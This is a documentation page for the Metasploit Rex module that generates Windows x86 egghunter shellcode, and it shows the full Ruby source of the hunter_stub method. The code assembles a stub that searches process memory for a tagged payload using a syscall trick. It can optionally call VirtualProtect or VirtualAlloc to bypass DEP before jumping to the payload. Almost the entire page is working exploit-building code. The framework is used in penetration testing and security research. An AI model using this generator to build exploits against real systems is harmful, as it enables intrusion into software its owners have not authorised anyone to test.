Module: Rex::Exploitation::Egghunter::Windows::X86

Defined in:
lib/rex/exploitation/egghunter.rb

Constant Summary collapse

Alias = 
ARCH_X86

Instance Method Summary collapse

Instance Method Details

#hunter_stub(payload, badchars = '', opts = {}) ⇒ Object

The egg hunter stub for win/x86.

Raises:



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# File 'lib/rex/exploitation/egghunter.rb', line 42

def hunter_stub(payload, badchars = '', opts = {})

	startreg = opts[:startreg]

	raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
	marker = "0x%x" % opts[:eggtag].unpack('V').first

	checksum = checksum_stub(payload, badchars, opts)

	startstub = ''
	if startreg
		if startreg.downcase != 'edx'
			startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
		else
			startstub = "\n\tjmp next_addr"
		end
	end
	startstub << "\n\t" if startstub.length > 0

	getpointer   = ''
	getsize      = ''
	getalloctype = ''
	getpc        = ''				
	jmppayload   = "jmp edi"	

	apireg = opts[:depreg] || 'esi'
	apidest = opts[:depdest]
	depsize = opts[:depsize]
	
	freeregs = [ "esi", "ebp", "ecx", "ebx" ]
	
	reginfo = {
		"ebx"=>["bx","bl","bh"],
		"ecx"=>["cx","cl","ch"]
	}

	if opts[:depmethod]
	
		if freeregs.index(apireg) == nil
			getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
			apireg = freeregs[0]
		end
		freeregs.delete(apireg)
		
		if opts[:depmethod].downcase == "virtualalloc"
			depsize = 0xfff
		end

		if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
			if apidest
				if freeregs.index(apidest) == nil
					getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
					apidest = freeregs[0]
				end
			else
				getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
				apidest = freeregs[0]
			end
			freeregs.delete(apidest)
		end
		

		sizereg = freeregs[0]

		if not depsize
			depsize = payload.length * 2
			if opts[:depmethod]
				if opts[:depmethod].downcase == "copy_size" 
					depsize = payload.length
				end
			end
		end

		if depsize <= 127
			getsize << "push 0x%02x\n\t" % depsize
		else
			sizebytes = "%04x" % depsize
			low = sizebytes[2,4]
			high = sizebytes[0,2]
			if sizereg == "ecx" || sizereg == "ebx"
				regvars = reginfo[sizereg]
				getsize << "xor #{sizereg},#{sizereg}\n\t"
				if low != "00" and high != "00"
					getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
				elsif low != "00"
					getsize << "mov #{regvars[1]},0x%s\n\t" % low
				elsif high != "00"
					getsize << "mov #{regvars[2]},0x%s\n\t" % high
				end
			end
			if sizereg == "ebp"
				if low != "00" and high != "00"
					getsize << "xor #{sizereg},#{sizereg}\n\t"
					getsize << "mov bp,0x%s\n\t" % sizebytes
				end
			end
			# last resort
			if getsize == ''
				blockcnt = 0
				vpsize = 0
				blocksize = depsize
				while blocksize > 127
					blocksize = blocksize / 2
					blockcnt += 1
				end
				getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
				vpsize = blocksize
				depblockcnt = 0
				while depblockcnt < blockcnt
					getsize << "add #{sizereg},#{sizereg}\n\t"
					vpsize += vpsize
					depblockcnt += 1
				end
				delta = depsize - vpsize
				if delta > 0
					getsize << "add #{sizereg},0x%02x\n\t" % delta
				end
			end
			if opts[:depmethod].downcase == "virtualalloc"
				getsize << "inc #{sizereg}\n\t"
			end
			
			getsize << "push #{sizereg}\n\t"
			
		end
		
		getalloctype = getsize

		case opts[:depmethod].downcase
			when "virtualprotect"
				jmppayload = "push esp\n\tpush 0x40\n\t"
				jmppayload << getsize
				jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
			when "virtualalloc"
				jmppayload = "push 0x40\n\t"
				jmppayload << getalloctype
				jmppayload << "push 0x01\n\t"
				jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
			when "copy"
				jmppayload = getpc
				jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
			when "copy_size"
				jmppayload = getpc
				jmppayload << getsize
				jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
		end
	end

	jmppayload << "\n" if jmppayload.length > 0

	assembly = <<EOS
#{getpointer}
#{startstub}
check_readable:
	or dx,0xfff
next_addr:
	inc edx
	push edx
	push 0x02   ; use NtAccessCheckAndAuditAlarm syscall
	pop eax
	int 0x2e
	cmp al,5
	pop edx
	je check_readable
check_for_tag:
	; check that the tag matches once
	mov eax,#{marker}
	mov edi,edx
	scasd
	jne next_addr
	; it must match a second time too
	scasd
	jne next_addr

	; check the checksum if the feature is enabled
#{checksum}

	; jump to the payload
	#{jmppayload}
EOS

	assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string

	# return the stub
	assembled_code
end